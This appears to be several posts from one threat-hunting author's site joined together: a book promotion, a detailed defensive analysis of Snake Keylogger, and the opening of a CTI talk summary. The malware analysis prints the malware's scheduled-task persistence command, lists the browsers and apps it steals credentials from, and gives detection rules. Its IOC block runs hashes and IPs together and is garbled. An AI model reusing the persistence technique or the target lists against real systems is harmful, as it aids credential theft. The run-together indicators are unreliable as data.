_Introduction about what the book is about

This book, “The Art of Threat Hunting: A practical Journey from core fundamentals to advanced strategies“ , aims to be helpful both for future threat hunters and current threat hunters, while also being useful for some team leaders or managers. Threat Hunting is a discipline that has largely emerged over the last five years, with particular emphasis on technologies such as EDR/XDR and SIEM. A few years after starting my career in cybersecurity, I was fortunate enough to begin learning a great deal about Threat Hunting when almost no one was working in this role. This allowed me to see how both the technologies that support it and the professionals involved have evolved, as well as how the needs surrounding the discipline have changed.

Most people believe they understand threat hunting, but in reality they do not. Almost every company claims to practice it, but that is not true, or at least not entirely. I have seen this firsthand and have heard the experiences of dozens of people from different countries working in all kinds of companies. It is a young role with a long path ahead, but this book aims to help and provide context both for getting started and for refining certain techniques, as well as exposing myths and providing structure when organizing a TH team, helping identify where efforts should be focused.

Throughout the book, improvement ideas, concepts, and standards are proposed. These have been inspired by working models that I have learned, experienced, or conceived at some point and later tested in practice, where they proved effective. It is not a “from zero to hero” guide, but it can give you an idea of how to begin, provide basic concepts and techniques, show what to pay attention to, and most importantly clarify what TH is and what it is not.

Additionally, different examples, situations, and real incidents are explored where TH, and particularly myself, propose ways to solve them, define our scope, and present the most logical ways to face the problems encountered within this role.

In the book you will find graphs (in color, yes, I have decided to ruin myself financially) and methodologies created by me describing different aspects, trying to make them as usable and easy to understand as possible for any level.

_Scope and who it is for

This book can be used by different cybersecurity teams or professionals. Although the main focus is on TH teams, I believe it can also be used by other Blue Team departments such as CTI or DFIR, and even by Red Team members, since I place particular emphasis on the need, along with examples and practical situations, of collaborating with other teams and developing good working practices between them.

However, the main usability of the book will be for:

• Threat Hunting teams and professionals aiming to understand or improve standardized methodologies, hypotheses, and advanced investigation techniques.

• CTI departments seeking to establish an effective technical collaboration and feedback channel with hunting teams.

• SOC / IR / DFIR teams looking for support in proactively identifying and hunting adversaries or campaigns.

• Security managers / CISOs who need to understand the activities carried out by TH or justify and recognize the value of the team within their organization or provider.

• Consulting firms or MSSPs aiming to professionalize their TH service and align it with mature practices offered by other competitors in the market.

_Covered content (Index)

I believe a book should not be judged by its cover (even though this one turned out pretty awesome, right?), so I will make it easier by showing you the index.

1 Introduction
2 Why TH & How to use It
3 CTI Driven
4 Standardize TH
5 Research Types
6 Knowledge for TH
7 Hypothesis Generation
8 Queries & Challenges
9 Documentation
10 TH Tools
11 Final Thoughts
Notes

_Type of content

To make things even simpler, since it is a book of more than 200 pages (not that much, TikToker), I think it is easier to look at it from the perspective of whether the content is more strategic, which may be more useful for management or intelligence departments, or more technical, which can be used by members of Blue Team or Red Team who are more focused on technical aspects.

I believe that, aside from the first sections, chapters (2) Why TH & How to Use It and (3) CTI Driven are useful for all kinds of teams, since cybersecurity professionals frequently interact with other departments, either within our own companies or in other organizations. Many of us do not fully understand what other colleagues actually do or stop doing. Knowing exactly what they do and how they do it can quickly give us an idea of whether a department is mature and knowledgeable. I also strongly believe that CTI should be involved in every area of a company, which is why I consider it something transversal.

On the other hand, regarding the content, I also believe it is beneficial for other profiles who may no longer want to lead or be involved in technical aspects to still understand the other side. It is interesting to know all perspectives in order to contribute value from as many angles as possible within a team and understand all the positions that converge within it. This can often help get the most out of TH.

Strategic content

Mostly concentrated in:

(4) Standardize TH
(9) Documentation
(6) Knowledge for TH (partially)

Without a doubt, chapters (4) Standardize TH, (9) Documentation, and even part of (6) Knowledge for TH, together with the previous chapters mentioned earlier, contain a strong organizational and management component. After seeing countless managers, both in my own teams and outside of them, who literally did not understand what TH was or how to leverage it, sometimes putting contracts at risk or making executives nervous, it becomes interesting to understand how to make the most of each procedure to extract the maximum value from daily work.

TH is not something linear and, being such a young role, not all executives will understand it. Therefore, it will be the responsibility of managers or team leaders to demonstrate the value of these teams and materialize their work, as well as understand how and why investigations should be conducted.

TH can have moments where there is a lot of information and others where there is nothing at all. It is the job of a good manager to know how to manage this and communicate information correctly, as well as how to use resources properly so that the team does not burn out.

Technical content

Mostly concentrated in:

(5) Research Types
(6) Knowledge for TH (partially)
(7) Hypothesis Generation
(8) Queries & Challenges (partially)
(10) TH Tools

On the technical side, the more technical aspects appear conceptually in Research Types, which later materialize in Hypothesis Generation. During these chapters we test technical capability and how to apply this knowledge. Everyone talks about hypotheses, but putting them into practice and maintaining good methodology is not that easy. Several real analyses are explored while applying the proposed methodologies.

Additionally, the book explores the usefulness of different tools for conducting TH, placing special emphasis on their usability for threat hunting and how to use them, while understanding the scope of a hunter.

In sections such as Knowledge for TH, we clarify basic concepts as well as specific techniques to pay attention to depending on what we are looking for. This area can be very complex and must be adapted according to the needs and objectives of both the team and the company it belongs to.

The chapter Queries & Challenges should be present in both strategic and technical aspects, since a hunter must anticipate certain things. However, the broader vision that a team leader must have should anticipate future problems. Literally, most teams I have encountered consistently fail at this point and are unable to think in the medium and long term, sacrificing efficiency and longevity for urgency.

_No more excuses

Well, after dissecting my own creation to which I have dedicated nearly 10 months of total work, I hope that at least it has helped you determine whether it is for you or not.

I have truly dedicated a lot of work and care to it, trying to make it not too long or dense but still usable for different teams, writing what I would personally like to read if I wanted to learn about TH, work in this department, or improve my skills.

If you made it this far and support my work, I really appreciate it. It is genuinely difficult to find time for all these things.

If the book fits what you are looking for, that is great and I am infinitely grateful for your purchase. I have tried to make it affordable for any budget.

🔗Link to Amazon 👉 https://www.amazon.com/Art-Threat-Hunting-Fundamentals-Strategies/dp/B0GTWFVSTS/

Happy hunting :)

Snake Keylogger, also known as 404 Keylogger, is malware that has been categorized as a keylogger and that has evolved over time, acquiring stealer capabilities that complement its functions and have made it more powerful over the years. It first appeared in 2019 and it is believed that much of the source code may belong to Matiex, while others maintain that 404 was first and that Matiex obtained its code. Like many other malwares, it is based on a Malware-as-a-Service (MaaS) model and is sold and advertised on black markets, both on the Dark Web and in forums or Telegram since its creation, with prices that have fluctuated over the years as its capabilities increased; the tool can be purchased for anywhere from $25 up to $900 for a lifetime version, and there are currently different versions with different prices per version.

The malware has been used by all kinds of users, from organized groups to users with less ambitious objectives. Its attack methods have been very varied depending on the buyers of the tool, but they have included phishing, other droppers to launch it, prior loaders, or even abusing installers pretending to be a legitimate application.

As mentioned, Snake has been involved in a large number of campaigns and has been used by numerous unknown actors, but also by some with significant impact:

• [👽TA] UAC-0041 (🏴): Used with Formbook as loader
• [👽TA] TA558 (🏴): Steganography using other malwares (AgentTesla, FormBook, Remcos, LokiBot, GuLoader or XWorm)
• [☢️Campaign] QuirkyLoader: Mass executions using the loader + Snake, AgentTesla, AsyncRat, MassLogger, Rhadamanthys
• [☢️Campaign] GuLoader: Using it as a hook to deploy Snake

_Technical Analysis

This malware has had a long trajectory, being one of those that has remained most frequently in the TOPs; therefore, we can find hundreds of samples where its behavior has varied, however, the final stage of this malware has remained fairly constant over time. Commonly, Snake is distributed through phishing campaigns where they will try to get us to download a link or will send us a script, archive, or office file that will begin the first phase. We can also find campaigns focused on downloading cracks or applications that lead to downloading files similar to those mentioned above or links that host them.

In short, the idea is to download the initial phase which will contain a loader or a script that will start Snake’s preparation phase, which will perform different tasks such as information collection, persistence, external communication, etc.

A diagram summarizing the most common Snake versions in recent months is the following:

In recent months a large number of different Snake versions have coexisted, so we can find numerous samples that present their particularities

Among the most typical versions, there are various phishing campaigns that will try to download via link or via a file the next stage of the execution; often we will encounter different types of files as attachments or even links to potential malicious downloads of the next stage

These include archives (ZIPs or RARs) as well as scripts written in different languages (JS, VBS, etc.). These do not differ greatly from one another in terms of functionality, since their main goal is usually to deobfuscate code and launch the next version or to download the next stage

During this execution we may encounter scripts typically started by wscript running a cmd followed by a powershell, or directly a powershell, which will attempt either to download the next stage or to deobfuscate/decrypt the binary, which will generally be Snake’s first phase

Additionally, in this phase we will often see persistence mechanisms that introduce an intermediate script to resume the initial execution

As mentioned earlier, Snake has been used by different loaders, which at this point act as the detonator for Snake’s preparation phase, just as a script would, as we have seen. Campaigns are highly variable and, depending on the technical ability of the malware buyer, it can be used in different ways

Once the primary phase of Snake is obtained, either by downloading it or extracting it from some script, what is generally obtained is an obfuscated .NET binary, although there are also other versions with AutoIt or installers that would act as an intermediate phase between a possible script or archive and this first stage

_First phase: Preparation

This phase will normally present one of two scenarios: one where we have obfuscated code that works at runtime, or, alternatively, images in resources that also work at runtime using steganography techniques. These techniques can be more or less elaborate, ranging from pixel positioning to audio spectrograms processed into bitmaps

Depending on the sample, it performs different operations to search the resources and obtain what it needs at each moment; the names of these will change and so will the content

The end result will be performing conversions to extract the binary in question, which is usually a library

This work is carried out in order to load it as a new module during runtime, increasing capabilities and adding new functionality

A summary of this phase of extracting the first binary is as follows:

The binaries it extracts are generally obfuscated, so they must be processed to understand their content, since at runtime it will jump to the new module to continue execution

_Second phase: Module loading

Subsequently, during execution it will jump to the first loaded module

This first module will generally serve to create a copy of the original binary in a temporary path and load another bitmap; if it did not create the file in this stage, it will do so in the next one. It is an intermediate library that only serves as a gateway and, in most cases, contains more bitmaps in its resources

As mentioned, it starts targeting resources, since the original binary seeks to jump to the loaded library, which, once again, will contain bitmaps that it will later process

Depending on the sample, we may find copies of the original binary, which is a common evasion technique to ensure there is a copy in a temporary path (usually TEMP or ROAMING). Additionally, Snake often creates them with the “hidden” flag, so users who do not have hidden files visible will not see them

We observe that it is a simple copy of the original binary and that its content is identical

It is also common to see Snake checking whether we are administrators, a fairly common practice to determine if it can execute something directly or needs elevated privileges

Another point to highlight in this phase is the persistence mechanism, which it implements differently from other malware of the same kind: it uses the copied file in a temporary path to generate persistence but uses an auxiliary file whose content it extracts internally, which contains an XML that will serve as the configuration to create the scheduled task. In other words, instead of creating the task pointing directly to the binary with a set of parameters, it extracts an XML with the configuration it wants to give the task

The command we can see is the following:

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\<filename> /XML "C:\Users\AppData\Local\Temp\<randomname>.tmp"

As you can see, during runtime we extract the content of the tmp and we can see that it contains the details of the task it creates, with the binary name and the flags it applies this temporary file also has a name, redundantly, a temporary one, and is deleted afterward to remove evidence

A graphic summary of this operation is as follows:

After this, the module sets itself in motion to load the next one, so, unsurprisingly, it again works with bitmaps to extract the next module

At this point, we return to the same problem: depending on the samples, they will extract the code using one technique or another. On this occasion we can observe it working with two functions, one to load each pixel and the other to perform the conversion

The result of this will be the loading of several arrays that converge in a third function which will operate on them again to extract the binary into another array

Evidently this binary is extracted again and we end up with another obfuscated .NET

Once this binary has been computed and extracted, it will be loaded again, as it did with the previous one, so we can see the original binary, the first module and the second loaded at the same time

As usual, I leave you a more visual layout of the set of this operation, where we can see the PE extraction and the runtime loading:

In the second module, we may encounter additional permission checks, something that is sometimes common because nothing has happened with the module loading and it is necessary to know whether in that stage it will be able to continue performing tasks with the appropriate privileges

In this phase it continues with calculations in similar ways to those performed earlier, relying on resources at all times, to keep the pattern

We can see that it also performs a phase where it computes strings to extract libraries and imports, something quite common so that they cannot be located statically (I leave you the obfuscated and the deobfuscated version), and to expand its capabilities. As we can observe, the invoked imports are common for process injection (SetThreadContext, ZwUnmapViewOfSection, etc.)

After this, it extracts the next binary, using resources as we have repeatedly seen

Snake can use the same process in which it is running to load the binary itself, performing a load or a self-injection, or it can use other legitimate processes that are commonly related to .NET (csc.exe, applaunch.exe, installutil.exe, etc.), which it will usually invoke, reserve space (VirtualAlloc), write into the process memory by calculating the binary size, etc.

The result will be that you can observe how it loads, in this case itself, another PE, which on this occasion is the payload

After extraction, what we obtain is another obfuscated binary which already contains all the interesting content

_Third phase: Payload

As we have seen, up to reaching the payload, what we can find is a succession of operations and checks that look like a Matryoshka (greetings to our Russian friends), but although its analysis is complex due to the number of jumps it performs and operations, it is quite consistent and, analysing samples over a time range of 4–6 months and comparing them to others from years ago, the technique has endured. This may be partly because it is costly to modify all these phases, but also because of its effectiveness, since it remains one of the most used malwares

Regarding the payload, we can find a large number of capabilities that, depending on the version the Snake client chooses (we will talk more about this later), may include more or fewer toys to attack their next victim

As can be seen, the number of functions in the payload is huge, even in cheaper versions as well as in more premium versions, where we have tools for almost everything: information theft, anti-analysis techniques, keyboard capture, screen capture, and a long etcetera

Here we can find the expected functionalities of a keylogger and stealers, where we have theft of browser information, usually searching paths like “Profiles” or “Login Data” to extract information in a loop that iterates through each of the browsers it has stored.

I provide a compilation from multiple samples, since there are more or less PRO versions and some older and newer versions, so we do not miss anything:

ChromeChrome CanaryChromiumMicrosoft EdgeBraveVivaldiOpera BrowserOpera Mail CocCocComodo DragonCentBrowserTorch BrowserAmigoCitrioCoolNovo / Cool NovoCoowonEpic Privacy BrowserIridium BrowserKometaOrbitumQIP Surf7StarUranYandex BrowserQQ BrowserUC BrowserXpomXvastLiebao Browser Elements BrowserSleipnir 6SputnikBlackHawkFirefoxCyberFoxIceDragonIceCatWaterFoxPaleMoonSeaMonkeyK-MeleonFlock BrowserBliskFalkonGhost Browser

Other elements it searches for are configuration files, .ini, .xml, .dat or .conf, as well as data in the registry keys of different kinds of software, mail services, FTP, VPN, SSH, etc.

I provide another compilation:

OutlookThunderbirdWindows Mail AppOpera MailMailbirdThe Bat!Becky!eM ClientIncrediMailPocoMailEudoraPostboxClawsMailFoxMailFileZillaCoreFTPSmartFTPWS_FTPFlashFXPFTP NavigatorFTPGetterFtpCommanderNordVPNOpenVPNPrivate Internet AccessWinSCPRealVNCDynDNSDiscordPidginPsi / Psi+TrillianPaltalkQQ Internet Download Manager (IDM)JDownloader 2MySQL Workbench Safari for Windows 

A keylogger would not be complete without keylogging capabilities as well as clipboard manipulation, being one of the flagship tasks of this type of malware, since control involves capturing keystrokes by mapping keys and also monitoring what enters via the clipboard, something that is often combined and in this case is no exception to performing screenshot captures

Snake is malware that often presents different techniques to avoid analysis, one of them being its technical complexity that is evident during analysis, as well as the level of obfuscation and even runtime string encryption it applies; added to this are anti-VM and anti-debugging techniques that make analysis and execution in controlled environments difficult.

In summary, the most used techniques are:

• Searching for typical VM hardware (present in network cards, GPUs or similar)
• Searching for common processes in virtualized machines or names of analysis tools (Vmware, Vbox, x32dbg, IDA, procmon, etc.)
• Disk sizes, machine uptime or number of CPUs
• Searching for active debugging software or checking flags
• Locating specific libraries that are used in virtualized and sandboxed environments (sbiedll, snxhk, cmdvrt32 or sf2)

I won’t prolong it much more because, as you have seen earlier, the number of functions each payload contains is enormous, and since they varied in certain aspects depending on the version, this multiplied the review needed to summarise the capabilities that Snake payloads have, which in general are the following:

• System information gathering (hostnames, HW information, etc)
• Browser information theft
• Theft of information from all kinds of software: FTP, SSH, VPN, Mail, etc.
• Theft of history and searching for sensitive files
• Screen, microphone, webcam capture, etc.
• Keylogging
• Clipboard control
• Geolocation
• Anti-VM and Anti-DBG techniques
• Management of running processes + kill
• Self-deletion
• Bot checks
• Connection to C2 and the ability to download other components and execute commands

I also leave some of the capabilities in graphic format:

In summary, Snake and its multiple versions (which we will address now) contain a terrifying mix to attack companies since it is sophisticated and has every capability you might imagine for a keylogger and a stealer together. Ultimately, its continued presence over so many years is driven by the evolution applied to the malware and the large group of threat actors behind it paying for the tool

_Gen & Versions

To find all generations and versions we have to go back to its origins, since Snake is said to have appeared in 2020, but there has been some controversy around the code of this famous keylogger. At its appearance it caused a stir and there were various media sources and researchers that echoed its capabilities; in fact it is suspected that 404 or Snake was not the first to support this code, but that Matiex appeared some months earlier

_Matiex comparison

In my humble opinion, it is difficult to find sources or rollback data on Matiex prior to 2020; however, small analyses or comments about a new crypter or keylogger (404 Keylogger) following the pattern can be observed, and even websites maintained by the creator prior to that date, in 2019, whose content, username and description, components and method of sale seem very similar to those later continued in Snake

Furthermore, if we analyze Matiex, we can see tremendous similarities with what we had already seen, where we observe uses of bitmaps and resource loading

As well as dynamic loads on the modules

In the end it converges on another bitmap that treats things a bit more rudimentarily, extracting a key for an XOR and processing an array that ultimately yields another MZ

In short, to avoid repeating everything again, since it is very similar, the final result is a binary with a pattern very similar to what we saw in Snake

The payload comparison between Snake or VIP and Matiex is not so alike, but one must consider the time gap between them, and in terms of functions, the way the malware works up to extraction and the final payload share similarities that are inherent to the same capabilities of screen capture, keylogging, extracting browser information, etc

In summary, Matiex seems a somewhat simpler version, but it meets most of the characteristics we saw in 404 or Snake, with subtle differences such as persistence via Startup, where there was less use of obfuscators and generally it appears a bit less polished. Is it possible that Matiex was the original and there was a code-copy gap between these two? It’s possible, but we only find information on 404 prior to 2019

_Other Versions

There are other versions that have appeared along Snake’s path, where we can find, in order of appearance, Cheetah and Nova. The first of these was a much simpler copy that also worked with bitmaps and dynamic loads, although in this case it only did it once, not twice, so it was somewhat shorter, but as we can see it also worked with XML for persistence and had similar keylogging characteristics and information-gathering, albeit more rudimentary in operation

Regarding the Nova version, there are many similarities where AutoIt appeared, but the functionalities are practically the same, only that it did not have the typical Snake or VIP elements, instead referencing NOVA, so it is very possible that it is a full copy or even a test by the same creators, since it shows a very large correlation with the Snake samples of that time, as you can see from our friend M4lcode

As for the easier Snake - VIP comparison, I won’t go on much longer, since I have analyzed dozens of Snakes to see the versions; I have seen that variations among Snakes are quite few. Obviously, we have a builder and elements we can change, but in essence they are quite similar at the end of the day. Similarly, if we compare the premium Snake-VIP with a basic Snake, we also see a huge relation, where we find identical functions and, of course, similar capabilities although more refined; you should see a difference in price

_Conclusion

As you can see, since 2019 there are many versions, branches and improvements of 404 or Snake Keylogger; the similarities between them are evident, but the origin is fuzzy. Personally I believe there is more evidence to think that the evolution started from an archaic version of 404 and that other developers copied it to try to get ahead in this type of business; however, as a summary I leave you another timeline graphic in the order each version appeared and how they are linked to Snake

_Some Intel

During the entire investigation I have been trying to extract panels depending on the content, since they would usually refer to Telegram groups or the developer, but only some old ones have been found, which I have seen had been reported by other colleagues previously.

Snake usually operates through Telegram, both to pass stolen information from affected nodes, where it makes the typical communication with a bot, and where during payload execution it extracts a chat_id, token and so on, something quite common with this type of malware; I always recommend using Teletoken or Matkap to interact with bots and try to extract as much information as possible as we did with DarkCloud

Continuing the search for these panels I found some old websites that advertised Snake, with plans ranging from $25 to $500 depending on the chosen model and the duration of use.

As you will recall, this is very similar to what we saw in 2019 with 404, but in an improved version and with a characteristic design.

As I mentioned before, Telegram is the focus of its operations and, over time, the malware developer seems to be avoiding communications through channels other than this one, where they are constantly in contact with potential buyers, providing information about malware updates and showing the tool’s prices or offers, which, as we see, have not changed much in the basic version but the introduction of VIP has made this model somewhat more expensive.

As we can see from conversations with the developer, the capabilities of one and the other are quite similar, with significant improvements in the VIP and the basic version being what we have seen over the years with updates.

The developer works mainly with blockchain, as is common, using BTC and Tether that he manages in different wallets and which have considerable income reaching up to 3k.

The TA, like the affiliates, share their impressions as well as information about the builder or tests performed on victims, which shows that constant developer-affiliate collaboration.

In summary, the TA makes extensive use of Telegram, since it serves both to show the malware’s capabilities and to have an active community that buys his findings and impressions, as well as serving as a method of exfiltration where credentials and general victim information are shared through this medium. Nevertheless, as we have already seen, we will have options such as FTP, Mail, etc., for this information to be shared by other means.

Snake is a keylogger that has many stealer-like capabilities and similar features, which has been refined and improved over time; due to its complexity, the first time I analyzed it I found the recursive code-loading methodology confusing (the overview report by Lena helped me a lot), but its modus operandi is what makes it different from other malware in the same field and, unfortunately, it appears likely to continue terrorizing companies.

_Detection Opportunities

• [TA0002][T1059.001] Powershell execution after suspicious bat script

(Parent-Process) cmd.exe (Parent-Command) cmd /c start "" /min "C:\Users\<user>\AppData\Local\Temp\<random>.bat" > (Child-Command) *powershell.exe* -nop -w h <redacted> | *powershell.exe* -nop -c <redacted>

• [TA0002][T1127.001] Suspicious tree after script execution

(GrandParent-Process) wscript.exe (GrandParent-Command) *.js | *.vbs > (Parent-Process) <random>.exe > (Child-Process) MSBuild  | RegAsm | vbc | cvtres | applaunch | Regsvcs | InstallUtil

• [TA0003][T1053.005] Persistence using tasks after suspicious script or exe

(Parent-Process) <random>.bat|.js|.vbs|.exe > (Child-Process) schtasks.exe (Child-Command) *schtasks.exe* /Create /TN "Updates\<random>" /XML "C:\Users\<user>\AppData\Local\Temp\<random>.tmp"

• [TA0003][T1547.001] Persistence writing new scripts at startup folder

(New-File) <Random>.bat|.js|.vbs > (Folder) *\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

• [TA0005][T1055.012] Process injection over .NET files or itself

From unk file > injection > MSBuild  | RegAsm | vbc | cvtres | applaunch | Regsvcs | InstallUtil | same unk proc

_TTP

[TA0001][T1566.001] SpearPhishing[TA0001][T1566.002] Spearphishing Link[TA0002][T1059.001] Powershell[TA0002][T1059.003] Windows Command Shell[TA0002][T1059.005] Visual Basic[TA0002][T1059.007] JavaScript[TA0002][T1204] User Execution[TA0003][T1053] Scheduled Task/Job[TA0003][T1547.001] Registry Run Keys / Startup Folder[TA0005][T1027] Obfuscated Files or Information[TA0005][T1564.001] Hidden Files and Directories[TA0005][T1027.003] Steganography[TA0005][T1127] Trusted Developer Utilities Proxy Execution[TA0005][T1036] Masquerading[TA0005][T1055] Process Injection[TA0005][T1140] Deobfuscate/Decode Files or Information[TA0005][T1497] Virtualization/Sandbox Evasion[TA0006][T1555] Credentials from Password Stores[TA0007][T1049] System Network Connections Discovery[TA0007][T1057] Process Discovery[TA0007][T1033] System Owner/User Discovery[TA0007][T1518] Software Discovery[TA0007][T1082] System Information Discovery[TA0007][T1217] Browser Information Discovery[TA0009][T1056.001] Keylogging[TA0009][T1113] Screen Capture[TA0009][T1114] Email Collection[TA0010][T1041] Exfiltration Over C2 Channel[TA0011][T1105] Ingress Tool Transfer[TA0011][T1071] Application Layer Protocol[TA0011][T1102.002] Bidirectional Communication[TA0040][T1489] Service Stop

_IOC

2b5066e80b14497fbfb74edec0ece993bc96364b05e07b56fcf1d8c2ffc136384cf6adbd484317ea9575c236291b11a675a0b03246646df502ffc1623c9f3bed8f70d1e2dd175ef62acf06496488b9bbf634d900809d133d5d175b26ec0d558623c7a3b054d0d62e729a70c5337e60a9b2ca9f4771ac26158811cc30ef3c14d6e4667848d54b7e333098e169e398d77b1f470628a481000af8ef3f4dcf8bed0a2bea445eed1b8e44585e00037f0c7e1db38c7064ca778859a391a23fd531864a838e76e03d054712b2e4d7460a94c3c5efc94561e63830119ad1f853736a36786d6d0e56950402b84ea721cd06cd329629d6b64e885923533de5b1c33b50d15c098231c653d5968cadf74d3b7118d170615385dd0278035dbb4001204ac338ab03b59ea7bb1e2da157ae489381b5b047536b6737bf87feeba65b499ee484b4dbc9ecb6fb948227414357e221aa9b46dda2063989a8c47624815e9b8ee0e1aa86a986ef1f64a9f305fafa053dd1593ca32a3ad865da931b4ba62a84da8e14c2a33ed27c3c0e41ffd40027a4ddde28a4391e15f76714abc523c72c597ff9b5d4562f76a21937582bd59783cab01437d029a6ccd52635e2a3f424831ad7e444e640082c17414af12072323ba9f4c1b1ce57491434032ff5f339374866dea3dfcc096b734c88958bfe7447e6702844486156daf7a54cbd0a1cf9b7bfef98daadf519cd8484bc36f1b71b38d2484a693b04cd58f979dd3ce9ae5cac5722e28b45500f7f0f163959167b201b99ebe9695944e5b9c3ac7536fc84023aac565b0c21d3d450f2444ef55d8aa33dbcbf6b7324237671cface9e5fe6535fe23f811ceecc48f8134d4cf36ca673a2c8c3a18bf7326f08cc2d2b692f239be423c04540dee1d044bb3d81a2909aca92d4bcf47ea8e8f10fa685ab569fb9e9b63c276cbe08c3630f409ec6f04457e094ec5bc962c8ec8ee489771f8a4a2db1e35bbf9d71987c715d927a872657c6005e6d25f2e7aa1bed89f4c90b5323efc9e3bd1509167bc9c4536934868ebcecbd1f53d8bcb6a74cc445078d6759a8a607cbd6ca016a71dd56aa09d6699c8aad5ef8e6cc60745ffa8764da18b41e92e3f02da1f45b70c74d6956f7729109b694aacc08e419e7126d1503ae2e77b5a6375e7299179309df7c5627a1ac0566d753f699dd7fffb5b96326812eb33c19e454b93fa916a21fcbca4c021ef045bc0f31750070ee021b7e781e3b833d5b08797512e646cb10bdf60204573cc07e806fc2c6d0beef8c20b20c62a647887e81d3b4306d647416aceb0eccd7b50accfe80d370e374def391c5d57fbf8c7a468d1f20e1274e59839dafbf2db30409e85d1244083354035528d143f8d653a7304ae758a39ee88896071c4f4a10101b663877eb3c46f2c7461a84653ed9bcddbda070c8ff399d21c6974a6da41179A42990FA012C58F24B7A556A321A0AF26911AEF71DB91E5D19F30B1C6876656eae3341ce6eaec052ad638ad5f10c871ed01d23f68d1f28646e2f6305bfbb6e8f02457c0ce811c8b7e3574ec86609d52021d2cb59782ee6ef1efb0bb6e0af251.38.247.673.23.155.57anotherarmy.dns.armyaborters.duckdns.orgvarders.kozow.com

_Overview

The talk focuses on tactical and operational intelligence, while also touching on the strategic side, from two perspectives, business and technical. The goal is to understand what role CTI should play within a company and how, as members of a cohesive CTI team where the three intelligence levels work together, we can support both technical and non-technical teams to integrate intelligence across the entire organization. This integration adds value not only to the intelligence team itself but also amplifies or generates intelligence within other departments

It was divided into two sections: the first two points (“Objectives and scope of intelligence” and “How to leverage intelligence?”) focused on a more executive environment, where we tried to understand current challenges and possible solutions for intelligence work within modern companies. The remaining sections were more practical, applying the proposed changes to support other colleagues from a CTI perspective.

Thus, the topics covered were as follows:

• Objectives and scope of intelligence
  • Understanding where you are
• How to leverage intelligence? How do we do it?
  • Now what?
• Connecting the dots – Real cases
• Conclusion

_Objectives and Scope of Intelligence

In this section, we addressed three main problems commonly faced by CTI teams in corporate environments (Human/Personal, Corporate, and Relational), proposing possible solutions or changes in perspective. These challenges stem from the recent explosion of CTI across the tech industry and the lack of maturity in how it’s implemented

_What Can We Offer? (Human/Personal)

Before diving deeper, it’s important to recall the three fundamental layers of intelligence, even though they are widely known:

• Strategic: Long-term
• Tactical: Mid-term
• Operational: Short-term

There are frequent disagreements among organizations about how to classify certain functions, what some call operational, others may call tactical, and vice versa. Nonetheless, during the talk, we used this visual model (designed by me) to illustrate the levels clearly, showing basic definitions (in orange) and capabilities or tasks (in green), which were later developed in detail.

After this foundational point, we reached the first key issue in intelligence work: the people who make up CTI teams.

It’s widely known that the intelligence world has become mainstream, just like Threat Hunting (TH) did about 5–6 years ago, when every company wanted a TH team, even without understanding what the team actually did. The same pattern has now repeated with CTI: companies are building intelligence teams without proper awareness of the required human capabilities.

The most effective CTI teams I’ve seen are those where members have diverse roles and backgrounds, both technical and non-technical, allowing them to cover all three levels of intelligence (strategic, tactical, and operational). Their broad knowledge enables them to understand that CTI is the culmination of a career path: professionals with solid experience in one of the areas shown in the diagram can contribute valuable insights from their specific perspective.

Conversely, many CTI teams have been created incorrectly, where people join intelligence as a starting point rather than as a culmination. In other words, individuals without any cybersecurity background enter CTI hoping to learn and later pivot elsewhere, or stay, resulting in departments that can only perform limited strategic functions. These teams often focus on geopolitical topics, perform basic searches, copy or replicate what others have said, or rely entirely on automated tools, since these areas demand less technical skill and background.

Corporate misunderstanding of CTI’s real capabilities, combined with the field’s growing popularity and job demand, has led to the creation of departments that cannot properly support their company, neither internally (by generating useful intelligence and assisting other teams) nor externally (by providing strong products or services).

Ultimately, this has produced two distinct types of CTI teams:

• The Strategic Team

Most CTI teams I’ve encountered are strategically oriented and deal with superficial tasks such as geopolitics, dark web monitoring, or rewriting what others have already published. These teams often give strategic CTI a bad reputation, especially since many so-called “cyber influencers” on LinkedIn belong to this category. They usually have no background in computer science or cybersecurity but stand out for their communication or social skills, often repackaging information for business or marketing contexts.

• The Tactical–Operational Team

The minority of CTI teams are those with a technical foundation, formed by people from diverse professional paths, individuals who have spent years in DFIR or reverse engineering, others who worked for a decade in SOC or Threat Hunting, or those coming from purple-team backgrounds with a strong interest in intelligence. This group often rejects the strategic world and struggles to translate technical work into executive contexts, focusing heavily on technical execution but neglecting visibility, presentation, or the broader usability of their work.

Unsurprisingly, the most competent and impactful CTI teams are those that successfully combine people capable of covering all three intelligence levels. These teams can perform highly technical work and translate it into different environments, while also leveraging strategic insights to deepen their investigations and create value both internally and externally.

There is no short-term fix for this issue, as it’s primarily a conceptual and cultural problem. Those building CTI teams often lack a full understanding of what intelligence work truly involves and what skills are required. On the other hand, there’s an influx of professionals entering CTI without truly understanding the role, and the market allows it due to high demand, much like what happened (and continues to happen) with Threat Hunting.

It will take several years for executives in technology companies to fully understand how to correctly implement and build effective CTI teams and to recognize their strategic importance and ideal composition

_Company capabilities (Corporate)

Once the human factor has been addressed, we have other problems within CTI, which focus on the technological stack, where approaches differ greatly depending on the company.

On one hand, there are companies that do not acquire any tools, relying 100% on the human resources they have hired, assuming those people will be able, with no tools or only free tools, to perform high-level intelligence work.

On the other hand, there are companies that are able to invest significant capital in tools, burying their technicians in multiple portals, APIs and capabilities that they are often unable to use properly due to lack of time or capacity. This becomes a problem when you combine too much technology with a poorly trained team, as mentioned previously.

At this point, some might think that the best approach for intelligence is to become an old-school developer and build your own tools, but the reality is that in CTI the priority is to know how to correlate information and give it dual use, as well as to extrapolate information as much as possible so that it reaches adjacent teams and clients in whatever format is needed.

Clearly, the golden mean is best, and the ability to read the skills of the CTI team you have hired is key to choosing which tools to adopt, and not the other way around. You can start with a more open source or free stack when creating the team and evolve toward higher-cost tools as the team matures, so the team members can synthesize what is more or less useful and exploitable based on their capabilities and the company’s constraints.

_Active security departments (Relational)

The third problem, and possibly one of the most common, is the coordination of the cybersecurity teams within the company.

The creation of a security team in a corporate environment may be driven by needs or by mainstream trends, since clients or future services may require it, and the people tasked with creating these teams are often entities with little or no technical background in the departments they are creating. This may be caused by an executive body that needs the team, or by lack of time, so the creation is assigned to one or several colleagues who later will look for someone to lead the department. Conversely, a team may be created with someone who has deep knowledge, but without focus on cohesion or collaborative work with their peers, who are the other operational and technical teams.

The main problem with creating new departments is the little or no strategic vision of communication and joint work between teams, (managers going to lunch together once a month does not count), which creates siloed departments that have no common thread. Each team has its own clients, its own infrastructure, its own tools, and the only thing it shares with another team is that they belong to the same company.

